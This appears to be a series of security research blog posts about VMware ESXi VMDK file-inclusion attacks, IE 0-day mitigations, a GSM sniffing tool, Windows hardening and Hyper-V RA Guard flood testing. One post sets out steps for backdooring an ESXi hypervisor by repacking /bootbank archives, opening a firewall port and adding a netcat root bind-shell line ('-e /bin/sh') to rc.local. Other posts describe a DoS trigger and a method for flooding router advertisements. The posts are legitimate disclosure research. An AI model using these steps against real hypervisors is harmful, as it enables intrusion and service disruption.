Almost all of our presentations and write-ups on the VMDK File Inclusion Vulnerability contained a slide stating something like
“we’re rather sure that DoS is possible as well ;-)”
including the following screenshot of the ESX purple screen of death:
So it seems like we still owe you that one — sorry for the delay! However the actual attack to trigger this purple screen was rather simple: Just include multiple VMDK raw files that cannot be aligned with 512 Byte blocks — e.g. several files of 512 * X + [0 < Y < 512] Bytes. Writing to a virtual hard drive composed of such single files for a short amount of time (typically one to three minutes, this is what we observed in our lab) triggered the purple screen on both ESXi4 and ESXi5 — at least for a patch level earlier than Releasebuild-515841/March 2012: it seems like this vulnerability was patched in Patch ESXi500-201203201-UG.
Two weeks ago we had a great time at Day-Con VI. Enno, Matthias, Rene, Frank and me traveled to Dayton, OH to give workshops and presentations. We started a tough week full of workshops on Tuesday where Rene gave a deep inside look into the world of security on current mobile platforms. Matthias discussed security problems and possible design patterns of cloud environments in his Cloud & Virtualization Security Workshop before he gave a first insight into the world of reverse engineering on Wednesday. Frank and me taught the basics of hacking and pentesting in the PacketWars bootcamp (comparable to the one at TROOPERS), preparing the participants for the PacketWars on Saturday. Obviously we were not the only ones having a great time 😉
During the main conference day on Friday several talks about trust, gaining trust and measuring trustworthiness took place. As one could write books about the whole trust issue, Dr. Piotr Cofta did exactly this and hence was a perfect choice for the inspiring keynote on basic approaches to measure trust. As we also gave several talks throughout the day, you can find our material both on the Day-Con website and in our newsfeed.
We enjoyed our time in Dayton & see you there next year,
Pascal
pytacle is a tool inspired by tentacle. It automates the task of sniffing GSM frames of the air, extracting the key exchange, feeding kraken with the key material and finally decode/decrypt the voice data. All You need is a USRP (or similar) to capture the GSM band and a kraken instance with the berlin tables (only about 2TB 😉 )
I’ve posted a preview before, take a look at the video to see the tool in action.
The tool is early alpha, so it’s working (for me 😉 ), but it’s neither rock stable nor packaged in any way. But still, I’ll be happy to get bug reports.
BTW, talking about Telco security: There will be another TelcoSecDay on 03/12/2013 at next year’s Troopers! We’ve already some quite interesting talks confirmed.
Microsoft takes this vulnerability quite serious and was acting fast. The Microsoft Security Response Center announced the availability of a fix last night in the MSRC Blog.
The fix will be available via Windows Update on friday, the 21st of september. So it’s time to get ready for this update ;-).
Actually a Windows Vulnerability (Microsoft Advisory 2757760) related to the Internet Explorer Version 7, 8 and 9 is in the news. Microsoft is aware of the problem, but there’s no patch available yet. We call this a 0-Day :-). Making the problem even worse, on monday reliable exploit code was released within the Metasploit project, so exploit code is already in the wild.
Disabling Active X and Active Scripting in the Internet Settings
But both of them have some impact: EMET must be deployed before any usage (btw. EMET can be configured via Group Policies) and disabling Active X and Active Scripting might break some business relevant web sites (that can be added to the “Trusted Sites” Zone, but might produce major operational effort).
There are more possible mitigating controls, so let’s just summarize some ideas:
Use of alternative browser: if you have it deployed already, go for it :-). Otherwise we have the same deployment issue as with EMET.
Sandboxing/Application Virtualization: It’s the same as with the alternate browser, of you have it, go for it, otherwise it will be a long term project. And be aware that also Application Virtualization won’t address all issues (see the ERNW Newsletter 32 for details).
No local admin rights: This doesn’t protect from exploiting the vulnerability, but at least reduces the impact. We strictly recommend to check the local administrator group and remove all users that don’t rely on it for fulfilling their business tasks. And btw. this topic is not new ;-), see also ERNW Newsletter 4, published in 2004!
Blocking communication for the clients at the corporate firewall: Be aware that this doesn’t really work. Modern exploit code is able to use the corporate proxy infrastructure including authentication to circumvent this control. Metasploit has exploit payloads for this.
Disabling/Blocking Flash content: While potentially not strictly required for exploitation, at least in some of the exploits currently observed in the wild Adobe Flash plays a major role. So like discussed in these Insinuator posts (1, 2 and 3), restricting the use of Adobe Flash would proactively prevent some known exploits from working. But the newly published Metasploit exploit doesn’t use Flash, so keep in mind that this mitigating control can only be used in addition to other ones.
So for a short term mitigation we recommend the following (especially for corporate environments)
Disabling Active X and Active Scripting via Group Policies
Disable/block Flash content
Remove unneeded local administrative privileges
If available use alternative browser or EMET
For long term mitigation (might also be feasible in small environments as short term mitigation):
Deploy EMET
Evaluate possibilities of application sandboxing/virtualization
Deploy alternative browser. Be aware that deploying a second browser might not be an option for big corporate environments (central management and supporting/maintaining additional software are the main reasons for this).
And finally DON’T PANIC ;-), start to address the problem in a professional way.
In our last series of posts regarding the VMDK file inclusion attack, we focused on read access and prerequisites for the attack, but avoided stating too much about potential write access. But as we promised to cover write access in the course of our future research, the following post will describe our latest research results.
First of all, the same prerequisites (which will be refined a little bit more later on) as for read access must be fulfilled and the same steps have to be performed in order to carry out the attack successfully. If that is the case, there are several POIs (Partitions Of Interest) on a ESXi hypervisor that are interesting to include:
/bootbank → contains several archives which build the hypervisors filesystem once they are unpacked
/altbootbank → backup of the prior version of bootbank, e.g. copied before a firmware update
/scratch → mainly log files and core dumps stored here
/vmfs/volumes/datastoreX → storage for virtual machine files
The root filesystem is stored on a ramdisk which is populated at boot time using the archives stored in the bootbank partition. As this means that there is no actual root partition (since it is generated dynamically at boot time and there is no such thing like a device descriptor for the ramdisk), this excludes the root file system from our attack tree, at least at first sight.
While trying to write to different partitions, we noticed that the writing sometimes fails. Evaluating the reason for the failure, we also noticed that this is only the case for certain partitions, such as /scratch. After monitoring the specific write process, we noticed the following errors:
Virtual Machine:
attx kernel: [93.238762] sd 0:0:0:0: [sda] Unhandled sense code
attx kernel: [93.238767] sd 0:0:0:0: [sda] Result: hostbyte=invalid
driverbyte=DRIVER_SENSE
attx kernel: [93.238771] sd 0:0:0:0: [sda] Sense Key : Data Protect [current]
attx kernel: [93.238776] sd 0:0:0:0: [sda] Add. Sense: No additional sense information
attx kernel: [93.238780] sd 0:0:0:0: [sda] CDB: Write(10): 2a 00 02 04 bd 20 00 00 08 00
attx kernel: [93.238790] end_request: critical target error, dev sda, sector 33864992
attx kernel: [93.239029] Buffer I/O error on device sda, logical block 4233124
attx kernel: [93.239181] lost page write due to I/O error on sda
Hypervisor:
cpu0:2157)WARNING: NMP: nmpDeviceTaskMgmt:2210:Attempt to issue lun reset on device
naa.600508b1001ca97740cc02561658c136. This will clear any
SCSI-2 reservations on the device.
cpu0:2157)<4>hpsa 0000:05:00.0: resetting device 6:0:0:1
cpu0:2157)<4>hpsa 0000:05:00.0: device is ready
Assuming that the hypervisor hard drive is not broken for exactly the cases we try to write from within a guest machine, we performed further tests (using various bash scripts and endless writing loops) and found out that this error occurs when the hypervisor and a guest machine are trying to write at the same time to the same device. Due to the fact that the hypervisor continuously writes log files to the /scratch file system and generates all kind of I/O to the /vmfs data stores (due to the running virtual machines stored on that partition), it was not possible to write to those devices in a reliable way.
Fortunately (at least from an attacker’s point of view 😉 ) the remaining partitions, /bootbank and /altbootbank, are only accessed at boot time and it is hence possible to write to those partitions in a reliable way. At that point, the initially mentioned fact about the lacking root partition gets important again: As the root partition would be the first and most promising target of write access, it would most probably also be locked by the hypervisor as there might also be different files that would be written on periodically. So when we were searching for a way to write to the dynamically generated root partition, we came up with the following steps:
Include the device holding the /bootbank partition.
Write to the /bootbank partition.
Wait for the hypervisor to reboot (or perform the potential DoS attack we identified, which will be described in a future post).
Enjoy the files from the /bootbank partition being populated to the dynamically created root partition.
The last step is of particular relevance. /bootbank holds several files that contain archives of system-critical files and directories of the ESXi hypervisor. For example the /bootbank/s.v00 contains an archive of the directories and files, including parts of /etc. The hypervisor restores the particular directories (such as /etc) at startup from the files stored in /bootbank. As we are able to write files to /bootbank, it is possible to replace contents of /bootbank/s.v00 and thus contents of /etc of the hypervisor ramdisk. In order to make sure that certain files in /etc are replaced, we can access the file /bootbank/boot.cfg which holds a list of archives which get extracted at boot time. As we have all necessary information to write to the root partition of the hypervisor, these are the steps to be performed:
Obtain /bootbank archive, in this example /bootbank/s.v00, using the well-known attack vector.
Convert/extract archive: The archives in /bootbank are packed with a special version of tar which is incompatible with the GNU tar. However this vmtar version can be ported to a GNU/Linux by copying the vmtar binary and libvmlibs.so from any ESXi installation.
Modify or add files.
Repack the archive.
Deploy the modified archive to /bootbank using the write access.
Following this generic process, we were able to install a backdoor on our ESXi5 hypervisor. In a first step, we opened a port in the ESXi firewall (which has a drop-all policy) as we wanted to deploy a bind shell (even though we could have used a connect-back shell instead, but we also want to demonstrate that is possible to modify system-critical settings). The firewall is configured by xml files stored in /etc/vmware/firewall. These xml files are built as follows:
The xml format is kind of self-explanatory. Every service has a unique identifier id, and can have inbound and outbound rules. To enable the rule on system boot the enabled field has to be set to true.
Based on this schema it is easy to deploy a new firewall rule. Simply place a new xml file to /etc/vmware/firewall in the archive which will be written to the bootbank later on.
This ruleset will be applied the next time the hypervisor reboots, after overwriting one of the archives in bootbank with our altered one.
The next step is to bind a shell to the opened port. Unfortunately the netcat installed per default on the hypervisor is not capable of the “-e” option, which executes a command after an established connection. The most basic netcat bind shell just listens on a port and forwards all input to the binary specified by the -e switch:
netcat -l -p 4444 -e /bin/sh.
Luckily the netcat version of 32bit BackTrack distribution is compatible with the ESXi platform and supports the -e switch. After copying this binary to the hypervisor, we just need to make sure that the backdoor is started during the boot process by adding the following line to /etc/rc.local:
/etc/netcat –l –p 4444 –e /bin/sh &
Next time the hypervisor starts, a remote shell will listen on port 4444 with root privileges. The following steps summarize the process of fully compromising the ESXi hypervisor:
Add our bind shell port to the firewall by adding the described file to /path/to/extracted/etc/vmware/firewall
Add the netcat binary to /path/to/extracted/etc/nc
Add the above line to /path/to/extracted/etc/rc.local
Wait for the next reboot of the hypervisor (or our post on the potential DoS 😉 )
At the end of the day, this means that once attacker is able to upload VMDK files to an ESXi environment (in a way that fulfills the stated requirements), it is possible to alter the configuration of the underlying hypervisor and even to install a backdoor which grants command line access.
Recommendations by the German Federal Office for Information Security (BSI – Bundesamt für Sicherheit in der Informationstechnik) are obligatory for German government agencies, civil services and authorities (like recommendations of the NIST are relevant to American government agencies and authorities). They are often used as references and security best practices in other countries as well. Hence it is hard to understand why the recommendations on how to harden Windows Server 2008 based systems were published only some weeks ago and only on a preliminary draft basis (which is, obviously, better than nothing ;-)).
We at ERNW, however, did an overall baseline security approach of Windows Server 2008 R2 and Active Directory for a large German authority last year. The aim was to fullfil the requirements of the German Federal Office for Information Security without having precise technical guidelines by the BSI itself (from our side we do have guidelines of course ;-)). The hardened Windows Server 2008 R2 environment was then approved at the end of 2011 by the German BSI. Now we published the results of our overall approach in our latest newsletter [German language].
Enjoy reading!
Friedwart Kuhn
PS: There’s also a digitally signed version of the newsletter. (Because it is signed with a qualified certificate, the validation requires an appropriate validation software, for example SecSigner from SecCommerce – which is free software).
Last week I read about the new networking features of the integrated vSwitch of Hyper-V 3.0. I was quite surprised that RA Guard will be natively supported and was curious about implementation and functionality. If you don’t know how RA Guard works, I recommend reading our previous blog posts here, here, here, here and here, or have a look at our workshop at Troopers12.
I downloaded Windows Server 2012 RC to do some practical testing. Since my girlfriend was working the whole weekend, I had plenty of time to play around with all that stuff without risking trouble 😉
I installed the RC and Hyper-V role on one of our lab systems.
The basic setup looks as follows:
Two VMs were installed (one Windows 7 box and one Backtrack 5) and connected to the same vSwitch and were part of the same layer-2 domain (as RAs only matter in a layer-2 domain). A layer-3 switch was the legitimate router sending RAs so that the Windows 7 box configured appropriately. All tests were done with the THC-IPv6 suite from Marc Heuse. The IPv6 configuration of the Windows 7 box looks as follows:
Before starting my tests, I wanted to verify that all is working correctly. So I began sending rogue RAs from a Backtrack VM.
Nothing special here, the Windows 7 box received the RA and configured an IPv6 address from the supplied prefix.
After the verification succeeded I enabled RA Guard in the settings of the network adapter on the Backtrack VM.
To structure the tests a little bit, I created a small test plan on what and how I wanted to test:
Test 1 – Sending Rogue RA’s with RA Guard enabled
The first test included sending of (non-fragmented) RAs with RA Guard enabled on the VM.
Test 1 – Results
Again I started to send Rogue RAs like I already did before.
As I expected, the RAs got filtered by the vSwitch and are not seen on the Windows 7 box (only the legitimate RAs from fe80::1).
Consequently, the IPv6 configuration did not change.
Test 1.1 – Sending Fragmented Rogue RAs with RA Guard enabled
In the next test I wanted to figure out how the vSwitch handles fragmented RAs with a ICMPv6 header being only present in the second fragment.
Test 1.1 – Results
I started to send fragmented RAs with an additional Destination Header to force fragmentation.
Interestingly, the first fragment with the destination header passed the vSwitch and arrived at the Windows 7 box. However, the second fragment with the ICMPv6 header got filtered by the vSwitch. You can see the legitimate RAs in between the fragments.
Like in test before, the IPv6 configuration of the client did not change and the received fragment did not have any impact on the CPU load of the box.
Interim Conclusion
The RA Guard implementation of the vSwitch in Hyper-V reliably filters router advertisements from a VM whether or not they are fragmented. This is good thing. Unfortunately I couldn’t find any entries in the event viewer (or elsewhere) indicating that a VM started to send RAs. This just hides the problem without really addressing it. As an administrator of a virtualized environment I would want to know when a VM starts to send RAs, in order to take appropriate measures.
Test 2 – Flooding RA’s with RA Guard Enabled
In the next test, I wanted to find out how the vSwitch (or better the physical Hypervisor) behaves when a lot of RAs are generated by a VM. For this test, the flood_router 6 module was used.
I started to flood RAs from the Backtrack VM.
The RAs were filtered by the vSwitch and didn’t reach the Windows 7 Box. I got the same result in Wireshark as in the test before. Only the legitimate RAs were seen by the VMs.
The more interesting thing I noticed, was the CPU load of the physical Hypervisor jumping to around 25% (occupying a whole CPU ) as soon as I started flooding.
btw: That’s how the new task manager looks like in Windows Server 2012
I started wondering: If one VM flooding RAs can produces 25% CPU load, what happens if more than one VM starts to flood RAs? Let’s find out…
… with three additional instances of the Backtrack VM for a total of four.
I had some trouble getting all 4 working simultaneously because the flood_router6 module exited quite a few times (which is fixed in version 1.9). That’s why you see those variations in the CPU load. If looking at the point where the CPU load was nearly zero, you can see how it increases in 25% steps, based on how many VMs started to flood RAs. However, even with four VMs flooding in parallel the CPU load stalled at around 75%. But this may be only a matter of how many VMs are flooding RAs.
Test 2.1 – Flooding RA’s with fragmented RA Guard Enabled
As we now knew about the impact on the Hypervisor when one or more VMs start to flood RAs, I wanted to know if anything changes for fragmented RAs.
I started to flood fragmented RAs with an additional Destination Header to see what happens.
The result equals as for Rogue RAs. The first fragment hit the Windows 7 box, but the second fragment got filtered by the vSwitch.
The received fragments did not have any impact on the CPU load of the Windows 7 box.
As before, I was mostly interested in the Hypervisor’s behavior.
Interestingly, the CPU load doubles as soon as fragmented RAs are sent by one VM.
Increasing the VM count to four again at this point appears to be obvious.
The CPU load increases to 90% on average, which is quite huge for just four VMs sending a lot of (fragmented) RAs. Other VMs are not directly affected from the RAs. However, a Hypervisor running out of resources is never a good thing.
Final Conclusion –Well said Mister but does this really matter?
I think it does, because Windows Server 2012 is positioned as “cloud operating system”. As a cloud provider, you typically want to give your customers the ability to spin up as many virtual machines as they like. When a malicious customer can exhaust the Hypervisor’s resources, normal customers will be affected as well. In particular if exhausting resources can be done so easily.
Be aware that these tests were done with the Release Candidate, and it might be possible that the final version of Windows Server 2012 behaves differently. We have to wait and see ;). I will definitely run the tests again when Windows Server 2012 ships.
So what can we do to address this issue? Unfortunately I don’t have a definite answer as of right now. Without knowing the codebase it’s hard to say how this behavior could be prevented or improved. So far it’s up the vendor to address this issue and customers (or pentester’s) duty to point at it…
One thing Microsoft could do is just to disconnect the virtual NIC if too many RAs were send from a VM in order to protect the resources of the Hypervisor.
As every year, we will be attending Day-Con, a one-day security summit in Dayton, OH — this year for its VIth edition. Even though the actual conference comprises “only” one day full with talks and discussions (please find the agenda here), the overall event consists of trainings before the conference and PacketWars battles (including an infamous party) afterwards. Since we will be leading and attending some of the training sessions, those might be of particular interest for people who missed our Troopers workshops — so you don’t have to wait a whole year but get another chance in October 😉
